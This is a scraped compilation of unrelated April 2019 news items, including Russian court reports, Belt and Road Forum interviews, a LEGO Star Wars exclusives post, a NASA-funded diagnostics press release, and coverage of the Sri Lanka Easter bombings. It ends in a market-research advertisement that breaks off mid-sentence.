amid spying concerns, which was seen as another low point for China-Australia relations. Huawei has reportedly seen its investment ties with some top universities from the United States and the United Kingdom, such as Stanford University and Oxford University, respectively, be cut off due to pressure from local authorities. Welcome Guest! You Are Here: Shawntay Dixon visiting Lisa D's on Small Business Saturday. Photo courtesy the GLWBC. The GLWBC shares information and resources using conferences and other tools. Photo Courtesy the GLWBC. Eric Glenn, Kevin Bell and Andrew Sims. Photo Courtesy the MMSDC. Andrew Sims. Photo Courtesy the MMSDC. Veronica Johnson and Todd Vanappledorn. Photo courtesy the GLWBC. Kevin Johnson, Katrina Turnbow, Michelle Sourie Robinson and Andrew Sims. Photo courtesy the MMSDC. Sentencing of father of former anti-corruption official Zakharchenko set for April 29 RAPSI, Vladimir Burnov 12:04 26/04/2019 MOSCOW, April 26 (RAPSI) Moscows Meshchansky District Court will pass sentence upon Viktor Zakharchenko, the father of an infamous former Russian anti-corruption official charged with corruption crimes, on April 29, the courts press service has told RAPSI. Prosecutors earlier asked the court to sentence the defendant charged with assisting embezzlement to 5 years behind bars and fine him 500,000 rubles (about $8,000). The court was also asked to give another defendant, ex-board chairman of the Moscow Hypothec Agency bank Vladimir Koryevkin charged with large scale embezzlement 6 years in prison with the same fine. According to investigators, the father of Dmitry Zakharchenko was fraudulently employed at the Moscow Hypothec Agency bank but did not do any actual work. Damage caused to the bank reached as high as 5 million rubles ($80,000). Investigators believe that Koryevkins actions caused damage estimated at 1.5 million rubles (over $23,000). Ex-Russian anti-corruption official Dmitry Zakharchenko was arrested on September 8, 2016. During searches at the apartment belonging to Zakharchenkos sister law enforcement officers found around 9 billion rubles (about $140 million). He denied any relation to seized funds. Zakharchenko was charged with receiving a 7-million-ruble ($110,000) bribe from an unknown source, abuse of office and hindering the conduct of preliminary investigation. In March, it was revealed that he is charged with two more instances of corruption crimes. Ex-Bank of Moscow managers charged with $225 mln embezzlement to be tried in absentia Bank of Moscow's Press Office 11:27 26/04/2019 MOSCOW, April 26 (RAPSI) Prosecutors have forwarded a 14.5-billion-ruble embezzlement (nearly $225 million) case against ex-top managers of the Bank of Moscow to court for the trial in absentia, the Prosecutor Generals Office of Russia reports Friday. Indictment has been approved against ex-president of the Bank of Moscow Andrey Borodin, his former first deputy Dmitry Akulinin, vice-president Alexey Sytnikov and their subordinates Dmitry Stroganov and Boris Shemyakin, the statement reads. The case will be heard in absentia as the defendants fled abroad. Russias requests for their extradition have been dismissed. Investigators believe that Borodin along with his accomplices embezzled over 14.5 billion rubles from the Bank of Moscow between 2008 and 2011 by granting knowingly unrecoverable loans and making loss forex trading transactions through companies controlled by them. Borodin, whose Bank of Moscow functioned as the capital's chief investment vehicle under its then-mayor Yury Luzhkov, fled to the UK in 2011. In November 2011, the Russian Interpol bureau put Borodin and Akulinin on the international wanted list. In March 2013, Borodin was granted political asylum in the UK. In 2016, Moscows Meshchansky District Court sentenced former top managers of the bank Konstantin Salnikov and Alla Averina to 4.5 and 4 years in prison respectively for embezzling over 1 billion rubles (about $15.6 mln) from the bank. Later, the Moscow City Court reduced prison term for Salnikov to 4 years. Lawsuit against Russian lowcosters paid flight check-in dismissed RIA Novosti, Ilya Pitalev 13:13 26/04/2019 MOSCOW, April 26 (RAPSI, Nikita Shiryayev) Moscows Sherbinsky District Court on Friday dismissed a lawsuit filed by prosecutors against paid flight check-in set by Russias Pobeda air carrier for departure from foreign airports, RAPSI reports from the courtroom. According to the lawsuit, starting the fall of 2018, the lowcosters passengers departing from foreign airports may free check-in for a flight only online. The others must pay 25 euros for check-in. An exception is the flights from Belarus and Kazakhstan. A lawyer for Pobeda said in court that the set fee is a reasonable measure because the paid funds are being forwarded for paying the airports ground services. Nearly 95% of Pobeda passengers usually use free online check-in, the airlines website reads. Two ex-security officers may be detained on fraud charges TASS, Vitaly Nevar 15:41 26/04/2019 MOSCOW, April 26 (RAPSI) Investigators sought detention for two former Federal Security Service (FSB) officers accused of corruption crimes for 2 months, the press service of Moscows Basmanny District Court told RAPSI on Friday. The court received a motion of the authorities to elect a preventive measure in the form of detention in respect of Dmitry Frolov and Andrey Vasilyev until June 25. They are charged with fraud. The court will consider the motion today. On Thursday, the 235th Garrison Military Court of Moscow detained the colonel Kirill Cherkalin, who is the head of one of the FSB units. He is a defendant in a bribery case. Chinese Premier Li Keqiang (R) meets with Philippine President Rodrigo Duterte, who is here to attend the Second Belt and Road Forum for International Cooperation, in Beijing, capital of China, April 25, 2019. (Xinhua/Li Tao) BEIJING, April 25 (Xinhua) -- Chinese Premier Li Keqiang on Thursday met with Philippine President Rodrigo Duterte, who is here to attend the Second Belt and Road Forum for International Cooperation. China and the Philippines are neighbors facing each other across the sea, and their development and stability is closely related, Li said, adding that bilateral relations had achieved positive turnaround and consolidation, and had been progressing on the right track, after the joint efforts of the two sides over the past three years. China is willing to see new achievements in the economic and social development of the Philippines, and align the Belt and Road Initiative (BRI) with the "Build, Build, Build" program of the Philippines, he said. Peace and stability in the South China Sea is in line with the common interests of China, the Philippines and other countries in the region, Li added. China supports the Philippines in fulfilling its responsibilities as the country coordinator for China-ASEAN relations, and expects negotiations on the Code of Conduct (COC) in the South China Sea to be completed soon, Li said. Li also expressed confidence that countries around the South China Sea will be able to jointly safeguard peace and stability in the region with wisdom, adding that it is necessary to properly manage existing issues through dialogue and consultation, so as to realize common development. Noting the contribution of the BRI to global prosperity and connectivity, Duterte said the Philippines is ready to deepen the cooperation with China under the BRI framework. The Philippines will further improve its business environment, and welcomes more investments from Chinese companies, said the president. Duterte said the Philippines will firmly make the South China Sea a sea of peace, friendship and cooperation, and is looking forward to working with other parties to conclude the negotiations on the COC as soon as possible. Investigation into Russian man charged with illegal military group membership completed RAPSI, Vladimir Burnov 16:51 26/04/2019 MOSCOW, April 26 (RAPSI) Investigation has been completed into Russian national Murat Kalmykov charged with participation in illegal military groups, the Investigative Committees press service reports Friday. According to investigators, in 2014, Kalmykov took part in the activities of an illegal armed group in Syria for the purposes contradicting the interests of Russia. After committing the crime, he left Syria. He was arrested in Germany and extradited to Russia, the statement reads. The case against the defendant has been already forwarded to court with the approved indictment. Posted by Jeremy on at 01:05 AM CST Artfully depicting the climactic moment of the Battle of Hoth, when valiant Rebel snowspeeders failed to halt the advance of Imperial walkers and the impending destruction of the shield generator, this vignette is constructed from 195 pieces and measures approximately 18 cm by 10 cm.With the exception of two specially printed elements the 20th Anniversary logo tile and AT-AT cockpit wedge, the set is made of elements that are commonly found in most spare brick bins. And no doubt the instructions for this set will be made available through Customer Service portal at LEGO.com.This set will be provided free of charge with all qualifying orders of LEGO Star Wars products between May 3rd and 6th. Check your region's LEGO Star Wars Day deals page to find out how much you have to spend to get this amazing gift with purchase set.If you are doing some LEGO shopping next weekend please remember that using the affiliate links provided help to support Rebelscum's collecting news coverage - at no cost to yourself.And if you like the official LEGO version of the Battle Of Hoth, don't forget that LEGO wants to remind you that "the greatest battles are built by you" and are holding a building competition to draw in talented builders who have awesome battle scenes they want to share. The closing date is May 4th so you have just over a week to get your entry in. Posted by Jeremy on at 09:07 PM CST "It has become apparent to us at the LEGO Group that you are dissatisfied with the recent launches of regional exclusive products. Weve received a lot of feedback on the LEGO festival products to mark the Chinese New Year (sets 80101 and 80102), the LEGO The Movie 2 Brickheadz (41634, 41635,41636 & 41637) in the US as well as the LEGO Star Wars 20th Anniversary Darth Vader Bust (75227)." Pilot projects, such as Forma, to check out markets and opportunities without being able to make them widely available Gift With Purchase campaigns through LEGO Shop at Home and LEGO Brand Retail Products only sold in certain experiences (for example LEGOLAND, LEGO House & LEGO Brand Retail stores) Special Event Sets (Comic Cons, LEGO Inside Tour) Since the first LEGO Star Wars event exclusive at Celebration IV in 2007, there have been camps that have accepted them as part of the process and others that have railed against them, claiming that they aren't fair to those who can't afford the expense of the event or buying them on the secondary market.The most recent addition to the line-up of LEGO exclusives - which has also included characters from Harry Potter, Lord of the Rings, DC and Marvel - was 75227 Darth Vader Bust atCelebration 2019 in Chicago. When it was revealed, LEGO, in an unusual move, also announced that it would also be made available through Target.The opening launch distribution method was the standard lottery, and hopeful ticket holders had from March 27th to April 5th to put their names in the draw. The winners were contacted in the week following Celebration, and the convention exclusive went on sale from Friday, April 12th with an approximate 200 available - at $39.00 plus sales tax - each day.All pretty standard, except for the unusual move of making the set available through Target, who used the set's exclusivity to leverage their REDcard to entice new members to join. Initial communications from LEGO said that the set would be made available through Target from the closing afternoon (Monday, April 15th)of the convention. At the same time, LEGO would release the remaining Celebration stock for open purchases.This didn't quite work out as planned because Target put the set on sale early on Friday instead of waiting. This had the immediate effect of relieving the pressure on the retail section at the LEGO booth, and ultimately meant those fans who didn't win the lottery had a second source (albeit with slightly different packaging). When LEGO did release the remaining stock for general sale on the last day of the convention there was a surprising number - some estimated more than 200 - that could be bought.Regardless of any timing issues, this change in policy signalled a significant step forward in making sure that true exclusives - at least in the eyes of LEGO - may become a thing of the past.In an even more recent statement - yesterday in fact - LEGO has indicated that the 75227 Darth Vader Bust course correction is part of a more significant sea change.As a result of this feedback LEGO has decided that regional exclusives launched after May 1, 2019 will become available for open purchase after 3 to 6 months via LEGO Brand Retail stores and LEGO Shop at Home.However, not everything is awesome because LEGO will still be launching products which will have a certain limitation to availability and production runs in the following areas:While this is a nice sentiment to share with their customers, it doesn't really change the playing field significantly for LEGOfans. Most of the exclusive sets that LEGO stocks as D2C (direct to consumer) exclusives, such as Ultimate Collector Series sets like 75192 Millennium Falcon , are later made available anyway - typically the same periods mentioned in the statement from LEGO - through retailers around the world, so that's not a change. And exclusives from LEGOLAND Parks, like those created for the now-defunct LEGODays, will likewise be excluded.The broader LEGO community will benefit, but those that collectsets won't see such an advantage to this while convention exclusives are on the exception list but it is evidence that LEGO is aware of, and listening to, the feedback of fans and is willing to act on it.Could this mean that in years to come we will see changes to the distriubtion of San Diego Comic-Con exclusives? Only time will tell. UA College partners with Space Tango to test diagnostic tool in space PHOENIX - Researchers at the University of Arizona College of Medicine - Phoenix are partnering with Space Tango, a private aerospace company that designs, builds and operates facilities on the International Space Station, to develop an easy way to test astronauts' health in space. Led by Director and Professor Frederic Zenhausern, PhD, MBA, the UA Center for Applied NanoBioscience and Medicine (ANBM) has received three independent NASA grants. The latest funding will allow researchers to develop a diagnostic tool - a miniature syringe-like device that can detect bioagents and hundreds of biomarkers in blood or saliva - and test it in space. "This is the next step in the evolution of this technology toward use on a test flight," Dr. Zenhausern said, referring to the "vertical-flow" device, a novel technology patented and licensed by Tech Launch Arizona, which helps bring UA innovations to the world through commercial pathways. Center researcher Jian Gu, PhD, an associate professor in the college's Basic Medical Sciences Department, will work with the Kentucky-based company to integrate the diagnostic platform into Space Tango's automated hardware. Jana Stoudemire, director of commercial innovation at Space Tango, said the company is pleased to partner with the research team at the UA College of Medicine - Phoenix. The device will be part of a payload housed in one of its autonomous CubeLabs that can provide near real-time data and monitoring in microgravity. "Everything in the CubeLab has to be extremely well-designed and simple to use in the contained environment of a space mission and the International Space Station," she said. The basic questions researchers have to answer are: How do you take a blood or saliva sample in microgravity and how is it processed by an astronaut en route to Mars? Dr. Zenhausern said in the Center's first NASA grant, the chemistry of the device was tested for protein markers. Its application to nucleic acid detection was demonstrated under a second NASA Human Research Program grant, led by Center researcher Jerome Lacombe, PhD, an assistant professor in the medical school's Basic Medical Sciences Department. This latest grant - $100,000 from NASA and its Translational Research Institute for Space Health - will pursue with Space Tango development of the diagnostic test using a human factor engineering approach to validate its performance in microgravity. "What is exciting is that NASA is investing more funds in space exploration and is considering human health as its first priority to succeed in long-duration missions," Dr. Zenhausern said. "Until now, very little monitoring of the health of astronauts has occurred, but deep space travel will require cutting-edge technologies for astronaut health and performance." Recent news about the health of U.S. astronaut Scott Kelly, who spent a year at the International Space Station in the confines of microgravity, have questioned the promise for long-term human space travel. Other reports earlier this year that space flight could activate dormant viruses like shingles, chickenpox and herpes heighten the importance of developing ways to monitor and treat health conditions of astronauts in space. Leroy Chiao, PhD, a former NASA astronaut, International Space Station commander and ANBM consultant, said he was not surprised by the March report. "We know that under stress, certain genes can turn on and off," he said. "Your body in space is under stress, so it makes sense that the stress can cause some genes to turn on and others to turn off." Dr. Chiao said one of the major concerns of many astronauts is how their bodies will react to exposure to radiation. He said he is impressed with the Center's most recent project and its portfolio of technologies for radiation countermeasures. "If this takes us one step closer to learning more about radiation resistance, that's great," he said. ### About the UA College of Medicine - Phoenix Founded in 2007, the University of Arizona College of Medicine - Phoenix inspires and trains exemplary physicians, scientists and leaders to optimize health and health care in Arizona and beyond. By cultivating collaborative research locally and globally, the college accelerates discovery in a number of critical areas -- including cancer, stroke, traumatic brain injury and cardiovascular disease. Championed as a student-centric campus, the college has graduated 433 physicians, all of whom received exceptional training from nine clinical partners and 1,800 diverse faculty members. As the anchor to the Phoenix Biomedical Campus, which is projected to have an economic impact of $3.1 billion by 2025, the college prides itself on engaging with the community, fostering education, inclusion, access and advocacy. For more information, please visit phoenixmed.arizona.edu. About Space Tango Space Tango provides improved access to microgravity through their Open Orbit platform for research and commercial manufacturing applications that benefit life on Earth. The Company believes the microgravity environment is a new frontier for discovery and innovation. Space Tango is focused on creating a new global market 250 miles up in low Earth orbit and envisions a future where the next important breakthroughs in both healthcare and technology will occur off the planet. Recognized for their expertise in microgravity design and operations, Space Tango believes that by exploring with industry and educational partners of all kinds, we can improve life on Earth and inspire the next generation to continue to expand the horizon of this new frontier. For more information, please visit http://www. spacetango. com . This story has been published on: 2019-04-26. To contact the author, please use the contact details within the article. The Belt and Road Forum for International Cooperation (BRF) kicked off yesterday, April 25 in Beijing, welcoming heads of state and government from 37 countries to discuss the Belt and Road Initiative (BRI). In an exclusive interview with Peoples Daily Online, Nandita Parshad, the managing director of the European Bank for Reconstruction and Development (EBRD), said she had high expectations for the forum, as it will give EBRD a chance to more closely cooperate with China. The European Bank for Reconstruction and Development was established in 1991, and has since expanded its geography to include 39 economies with a widely divergent geography and base, including countries such as Mongolia, Turkey, Egypt, Jordan, Morocco, Tunisia, and even Greece. EBRD, therefore, operates in a region that overlaps substantially with the BRI, meaning although not directly linked to the initiative, the bank has a vested interest in these economies. Ms Parshad explains, of course, there is a huge impetus for us to cooperate with the Belt and Road, for us to see the benefit of that initiative for our region and to mobilize all the help we can get to improve the quality of life of people in that part of the world. Parshad explained that since she started working for EBRD 26 years ago, she has witnessed Chinas global reach expanding, and thinks that other countries can learn from the nations example. What Ive seen over the years is the growing importance of China in energy and infrastructure, and particularly in green energy. China is an enormous player, she explained. According to Parshad, EBRD aims to improve the quality of lives of people in the countries they are involved in, so investment is focused on what the country and its local communities need. Whether were investing in green energy, which is improving the quality of air in cities or bringing electric buses to replace diesel buses, wastewater, solid waste, these are all projects which affect the daily lives of people. This is in line with this years BRF, which will focus heavily on sustainable growth and green energy. Countries around the work now look to China to bring the huge benefit of low-cost renewable energy to the rest of the world, while the scope of Chinese business in other countries has dramatically increased. We now work with a number of Chinese companies, Chinese suppliers, and also Chinese investors in our region, Parshad noted. She continued that China is an example of how a country with huge investment and infrastructure can improve the quality of peoples lives. Infrastructure is a great enabler of the private sector, of allowing economies to development, creating jobs, employment. Last year I visited the largest project in Mongolia, in the Gobi desert. I think it might be the largest copper underground mine in the world. What struck me during that visit is that 95 percent of the people employed at this enormous mine were Mongolian. Thats when you realize, she noted, how you can create real, sustainable income for people in these projects. While at the BRF, EBRD and Green Climate Fund agreed to provide $16.7 million to finance a solar plant in Kazakstan. Parshad and Nan Yi, President and CEO of Universal Energy signed the agreement as the developer of the project. Parshads hopes are high for the final days of this year's BRF, with discussions and potential agreements ongoing. What the BRI is going to do, clearly, is create opportunities. It has countries along the route thinking much bigger and broader about infrastructure and connectivity, she concluded. Denver, CO -- (ReleaseWire) -- 04/26/2019 --The Federal Bureau of Prisons (BOP) authorizes Wardens to approve bereavement furloughs (authorized absence) to non-violent inmates at 'out-custody' federal prisons camps where there are no fences, bars, walls or barbed wire. Many of the prison camps are former military bases. In the last six months numerous 'campers' at the federal prison camp in Florence, Colorado have experienced the death of immediate family members, including sisters, sons, daughters, fathers and mothers but the Warden has repeatedly denied furlough requests by inmates to grieve and bury their loved ones. The reason camp inmates are housed at minimum security, out-custody facilities where they can simply walk away into the local community is because they present no danger to the community. Many camp inmates were trusted by the courts and probation to self-report. The Florence Warden overseeing the camp can't provide a single penological reason or security justification for arbitrarily denying or severely limiting bereavement furloughs to campers, especially when the BOP authorizes up to 30 days. David Banks, one of six men (the "IRP6") widely known on the Internet and in the Washington Post (http://wapo.st/29jXqSC) to be wrongly convicted and imprisoned, is housed at the Florence camp. In November 2018, Banks was denied a six-day furlough after his sister suffered a massive stroke and suddenly passed away. "If not for experiencing a wrongful conviction, I would have no idea of just how cruel federal justice officials are or would have become aware that prison camps are nothing more than a front for a slave plantation," says Banks. "From my experience, Wardens couldn't care less if I live or die and the death of my sister had no more value than the death of one of the prairie dogs that roam outside our housing units. My heart broke when I was denied an opportunity to grieve and bury my sister, and it breaks further as I watch the pain and suffering in the eyes of these men who have lost a loved one as they hopelessly apply for a furlough from a Warden that is going to deny them just because he has the power to do so," laments Banks. "It doesn't matter if you're a model inmate, you are still treated as undeserving scum and never given a reason why your furlough request is denied, but the Warden and staff don't mind enslaving you for pennies per hour and granting daily furloughs for inmates to serve other masters in the local community," muses Banks. "On the rare occasions the Warden approves a furlough, it only amounts to a few hours," adds Banks. The new Florence FCI Warden overseeing the camp has started approving 24-hour bereavement furloughs for inmates traveling out of state. Two inmates were recently granted overnight, 24-hour furloughs. One inmate requires 18 hours of travel time, which leaves no time to sleep and just enough time to walk by the casket before heading back to the prison. The other inmate needed 12 hours of travel time and 8 hours to sleep, which left only and 4 hours to attend the funeral and spend time with the family before expending time to get back to either an airport or bus terminal for the return to prison. According to a Florence official, the Warden overseeing the camp is "conservative" and "concerned about the big picture" of him setting a precedent for approving furloughs. "Trying to put together a travel itinerary with such a small window is a nightmare for a person and family grieving the devastating loss of a child, parent or sibling," says Lisa Stewart of A Just Cause. "It appears the Warden approves 24-hour furloughs to make it so difficult on the inmate that it will discourage others from requesting furloughs. Such a sad, inhumane state of affairs," says Stewart. A Just Cause is reaching out to the Trump Administration, specifically Senior White House Advisor Jared Kushner and concerned members of Congress to ask for their compassion and a legislative change to BOP policy or an executive order to mandate a minimum of 7 days furlough for camp inmates to bury and grieve an immediate family member. In the 1984 case of Hudson v. Palmer, the U.S. Supreme Court said that the way a society treats its prisoners "is evidence of the essential character of that society." "What's happening at the Florence federal prison camp doesn't speak very highly of the character of this nation or the character of a Warden who doesn't want to set a precedent for being humane," says Stewart. "What's happening at Florence is microcosm of the behavior that occurs with prosecutors and the courts in the federal justice system as evidenced by the horrendous injustice done to David Banks and his codefendants. That is why A Just Cause and former federal appeals judge H. Lee Sarokin continues fighting for the release of Banks and his IRP6 codefendants by publicly exposing the prosecutorial and judicial misconduct in an online dossier at http://bit.ly/2wBaCyJ ," concludes Stewart. A Just Cause continues to ask the Trump Administration to confine camp-level inmates at home and to close the 76 expensive, useless and wasteful federal prison camps as a part of prison reform. See info in press releases at: http://www.releasewire.com/press-releases/house-judiciary-committee-and-trump-asked-to-close-wasteful-federal-prison-camps-783729.html http://www.releasewire.com/press-releases//defunding-camps-will-help-solve-crisis-at-federal-bureau-of-prisons-says-a-just-cause-806068.html Buzz! One of the biggest tour by an Indian metal band, Gutslit announce their upcoming tour with Dying Fetus Indian metal heavyweights will continue their Europe tour post-phase 1 this year with American death metal band Dying Fetus! They will be playing three club shows and a festival as the band gets a direct support slot with the legendary headliner. Gutslit members, excited about the tour remember their early years saying, first show itself, which was almost 12 years ago, saw us cover two bands Cannibal Corpse and Dying Fetus. Most people in the crowd were clueless about both the bands. But the remark and expressions we got when we covered "Kill your mother and rape your dog" by Dying Fetus was way too funny. People cringed and were surprised that such a name could exist. From then, till our very last show, be it in India or abroad, we end our set with the same cover song So you can imagine how much this band means to us. The band will also be on a headlining tour of Europe with a band Placenta Powerfist supporting them after which they we will play Obscene Extreme Festival, where it all started for Gutslit. Gutslit started with Obscene Extreme (Czech Republic) in 2014 while they played Deathfeast in Germany the same year and played a direct support slot for Katalepsy (Russia). In 2015 the band toured with Stillbirth (Germany) , Crepitation (UK) and Splattered (USA) performing in 8 countries across EU. In 2017, Gutslit toured with Stillbirth (Germany), Carnivore Diprosopus (Colombia) and Splattered (USA). Later, the band toured Asia in 2018 and performing in 11 countries with 13 shows in 16 days. Following is the Gutslit tour plan with Dying Fetus: 11.07.19 - Kassel, Germany @ Goldgrube 12.07.19 - Essen, Germany @ Turock 13.07.19 - Torgau, Germany @ In Flammen Open Air 14.07.19 - Warsaw, Poland @ Poglos Watch "Brodequin" by Gutslit below: The Belt and Road Forum for International Cooperation (BRF) is currently in full swing in Beijing, welcoming leaders of nations and businesses from all over the world to Chinas capital city to discuss the Belt and Road Initiative (BRI). In an exclusive interview with Peoples Daily Online, Daroo Khan, President of The Federation of Pakistan Chambers of Commerce & Industry (FPCCI) explained that the BRI has helped open Pakistan up to investment, and is looking forward to furthering ties between the two countries. On President Xi Jinpings keynote speech at this years BRF, Khan noted he was especially impressed at the ways in which the BRI has so far helped to alleviate poverty and how Xi plans to use the initiative to integrate the world. Pakistan-China relations have a long and friendly history, which has gone from strength to strength since the BRI was first proposed in 2013. The BRF is a good platform. Its a great opportunity to see and discuss the progress of the Belt and Road Initiative. The Forum will also highlight the significance of the BRI in the global economic development, Khan explains. (Photo: Wang Tianle/People's Daily Online) During the interview, Khan said that there is enormous potential for trade between Pakistan and China, noting "the cooperation can lead the countries towards progress and prosperity. The BRI has dramatically improved Pakistans investment and trade. According to Khan, Pakistans investment inflow has now crossed $2.5 billion, up from $889 million a few years back, while China has invested almost $62 billion in Pakistan in various projects. He notes that current bilateral interaction spans over social economic, technological and cultural cooperation. For example, the two countries have organized bilateral exchange in radio and television, he noted. Furthermore, the Industrial and Commercial Bank of China (ICBC) recently set up a branch in Pakistan, Pakistans University of Modern Languages and Xinjiang University jointly established the Normal International Center for Education, and the China Cultural Center in Pakistan has also been established. In light of these examples, Khan notes that going forward, both countries should pay more attention to people-to-people relations, saying, Both countries should develop a mechanism for Chinese and Pakistani to learn Urdu and Chinese respectively. Pakistan hopes to see the BRI used as a public good, where everyone has a right to be involved and reap the benefits, Khan noted, adding that he is optimistic that this years BRF will connect the infrastructure of developing countries and facilitate deeper economic integration between nations, to increase shared contribution towards shared benefits, he said. CPI candidate from Begusarai Kanhaiya Kumar has raised the highest amount of over Rs 70 lakh through crowd funding for Lok Sabha elections while Atishi, AAP candidate from Delhi East, has raised over Rs 61 lakh so far, according an online crowd funding platform. Kumar, who will be a candidate in the fourth phase of Lok Sabha polls on April 29, raised Rs 70,00,903 with help 5326 supporters on the crowd funding platform `Our Democracy'. The funds for him have ranged from highest Rs 5,00,000 to Rs 100 with several people giving their names while a few choosing anonymity by describing themselves as "well wisher". Kumar is locked in a triangular contest with BJP leader and Union minister Giriraj Singh and RJD's Tanveer Hassan. Atishi has so far raised Rs 61,78,214 thorough crowd funding. With Delhi going to the polls in the sixth phase on May 12, she is expected to raise more money for the campaign. Her colleagues in the party and contestants from Delhi Dilip K. Pandey and Raghav Chadha have also raised money through crowd funding. Pandey has raised Rs 6,17,107 and Raghav Chadha Rs 3,67,111. The dismissed BSF trooper, Tej Bahadur Yadav, who complained of poor quality food given to the forces and has decided to fight election from Varanasi against Prime Minister Narendra Modi, has been able to raise Rs 46,752 so far. RJD leader and former Bihar Finance Minister Abdul Bari Siddiqui, who is contesting from Darbhanga, has raised Rs 1,23,677. Election Commission guidelines state that a candidate can spend between Rs 50 lakh and Rs 70 lakh, depending on the state where they are fighting the Lok Sabha election. A candidate can spend a maximum of Rs 70 lakh as election expenditure except in Arunachal Pradesh, Goa and Sikkim. The cap for Delhi is Rs 70 lakh but it is less for other union territories. It is Rs 54 lakh for Arunachal Pradesh, Goa and Sikkim. Bilal Zaidi, a co-founder Our Democracy, told IANS that they launched the platform in January and it has been used for 79 election candidate campaigns so far. "Most of them are Lok Sabha candidates but a couple of candidates are contesting assembly polls. The platform is designed in a way that it creates virality (social media support)," he said. Zaidi said of 79 candidates, eight are from Left parties, three from Congress, two from Samajwadi Party, one from Rashtriya Janata Dal (RJD) and many independents. He said Our Democracy is the only platform at present which meets the norms of election funding set by the Election Commission. Asked about website not displaying names of all the donors, he said they "allow people to be private" if they chose to do so. "Our purpose is that whatever money comes, it should be a bank-to-bank transaction. When a candidate submits details of donors to the Election Commission, all the names will be there. The website will show names of those who are comfortable in getting them displayed," he said. The minimum contribution accepted by the platform is Rs 100. Zaidi said it is easier for people with national profile to get funding through social media and those with a localised profile find it a little difficult. "India is world's largest democracy and we celebrate democracy at every level. With a country that is such a vibrant democracy, why is there such a question around political finance? How come ordinary people do not know much about those who fund political parties?" he asked. He said they wanted to reach out to citizens so that they not only vote but but also take the responsibilty of funding and expenditure of their political candidates so that they work for them. Zaidi said they charge five per cent commission on all the funds that are raised. Sri Lanka on Thursday revised down the toll in Easter Sunday bloodbath to "about 253" even as Defence Secretary Hemasiri Fernando resigned accepting responsibility for the attack and security forces continued a search for accomplices of the suicide bombers. The government also banned the use of all drones and unmanned aircraft within the Sri Lankan airspace with effect from Thursday and also kept its new visa-on-arrival programme, which was to be implemented from May 1, on hold due to the security situation in the island nation. Bringing down the toll by over 100 from 359 to "about 253", the Health Ministry blamed "a calculation error" for the higher figure, the BBC reported. After submitting his resignation, Fernando said that while there was no failure on his own part, he was taking responsibility for the failures of some institutions which were under his command. President Maithripala Sirisena, who himself has come under attack from the opposition for failing to prevent the mass killings, had earlier asked the Defence Secretary and the police chief to quit. Tourism, Wildlife and Christian Religious Affairs Minister John Amaratunga said that investigations had revealed foreign links to the attacks and the government did not want the visa-on-arrival facility to be abused. Tourism was one of the worst hit industries following the deadly blasts on Sunday in three Sri Lankan cities, primarily in and around Colombo. The Islamic State has claimed responsibility for the attack that also left 500 injured but Colombo has blamed a local Muslim group, the National Thowheed Jamath (NJT). The Sri Lanka Police released photographs of six young suspects - three males and three females - wanted in connection with the bombings. The Criminal Investigation Department (CID) sought public assistance to trace them. The six were identified as: Mohammad Ivuhaim Sadiq Abdul Haq, Mohammed Ivuhaim Shaid Abdul Haq and Mohammed Casim Mohammed Rilwan (all men) and Fatima Latif, Pulasthini Rajendran alias Sarah, Abdul Cader Fatima Kadir (all women). It was not clear if the six were linked to the National Thowheed Jamath. On Thursday, security forces set up checkpoints and stepped up random checking of vehicles across Sri Lanka. In the morning, at around 9 a.m., a minor explosion took place in a garbage dump behind the Magistrate's Court in Pugoda, 36 km from Colombo, reported Xinhua news agency. After the blast, police advised the general public not to panic, said the Daily Mirror. In an indication that all was not well in Sri Lanka, Israel's Counter-Terrorism Bureau raised the threat level to indicate a "high concrete" mark and advised travellers to leave the island and avoid visiting it in the near future, CNN reported. Although four days have passed since the bloodbath, Sri Lanka remains on the edge. Schools and colleges remain shut and a general sense of insecurity prevails. Prime Minister Ranil Wickremesinghe told CNN that some attackers responsible for the Easter Sunday bombings were being monitored by the intelligence services but there was not "sufficient" evidence to put them in custody before the attacks. He reiterated that the attackers were middle- and upper-middle class and had been educated abroad. He added that the profile of the suspected bombers was "surprising". Police are holding the wealthy father of two of the suicide bombers on suspicion of aiding and abetting his sons to carry out Easter Sunday attacks. Mohamed Yusuf Ibrahim, a spice moghul, was arrested on Sunday following attacks at hotels and churches. His adult sons, Imsath Ahmed Ibrahim and Ilham Ahmed Ibrahim, blew themselves up in two different attacks earlier that day. Police spokesman Ruwan Gunasekera said five safe houses had been raided in the country. More than 70 suspects have been taken into custody on a range of charges. Of these, four were female and all are Muslims. None is a foreigner. The Easter Sunday marked the bloodiest day in Sri Lanka since the end of the civil war a decade ago. New York, NY -- (SBWIRE) -- 04/26/2019 -- The Adenine market research for the forecast period, 2019 to 2026 cannot be underestimated for the reason that it offers a real-time data on the target market; identifies customer problems and outlines the immediate competitors. The simplified document speaks about how company owners plan to keep up with the market trends. A conscious effort is made by the subject matter experts to analyse how some business owners succeed in maintaining a competitive edge while the others fail to do so makes the research interesting. A quick review of the realistic competitors makes the overall study a lot more interesting. Opportunities that are helping product owners' size up their business further add value to the overall study. Market segment by geographical Regions, this report covers: Global (Asia-Pacific[China, Southeast Asia, India, Japan, Korea, Western Asia], Europe[Germany, UK, France, Italy, Russia, Spain, Netherlands, Turkey, Switzerland], North America[United States, Canada, Mexico], Middle East & Africa[GCC, North Africa, South Africa], South America[Brazil, Argentina, Columbia, Chile, Peru]) Get FREE Sample copy of Adenine Market Report @ https://www.marketexpertz.com/sample-enquiry-form/37226 Get to know the business better: The global Adenine market research is carried out at the different stages of the business lifecycle from the production of a product, cost, launch, application, consumption volume and sale. The research offers valuable insights into the marketplace from the beginning including some sound business plans chalked out by prominent market leaders to establish a strong foothold and expand their products into one that's better than others. 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The research further holds vital information on the size of market and data on the prominent leaders' product owners have to compete with, in the coming years. Assessments of the broad strengths, as well as weaknesses too, add value to the overall research. Products details not only cover the popular applications and its performance, but it also unveils certain trends and value of specific products within specific regions. Estimating the potential size of the Adenine industry Industry experts conducting the study further estimate the potential of the Adenine industry. Such information is important for firms looking to launch an innovative service or product on the market. Industry experts have measured the total volume of the given market. Researchers have calculated the industry in terms of sales by the competitors and end-user customers. Data on the entire size of the Adenine market for a particular product or a service for the forecast period, 2019 to 2026 covered in the report makes it valuable. This information reveals the upper limit of the Adenine industry for a specific product or service. The global Adenine market report answers some important questions for you: - What will be the market potential as well as the concentration of the global Adenine segment for the forecast period? - What will be the avenues for access to the global Adenine market for the newly added range? - How are business owners planning to meet the production demand and sales requirements to gain a competitive edge over others? - Which demographic regions will witness a greater demand during the estimated period? - What will be the composition of the target market? What are the gaps? Where do most new opportunities lie? - What will be the consumers' attitude towards the business during the forecast period, 2019 to 2026? There are 14 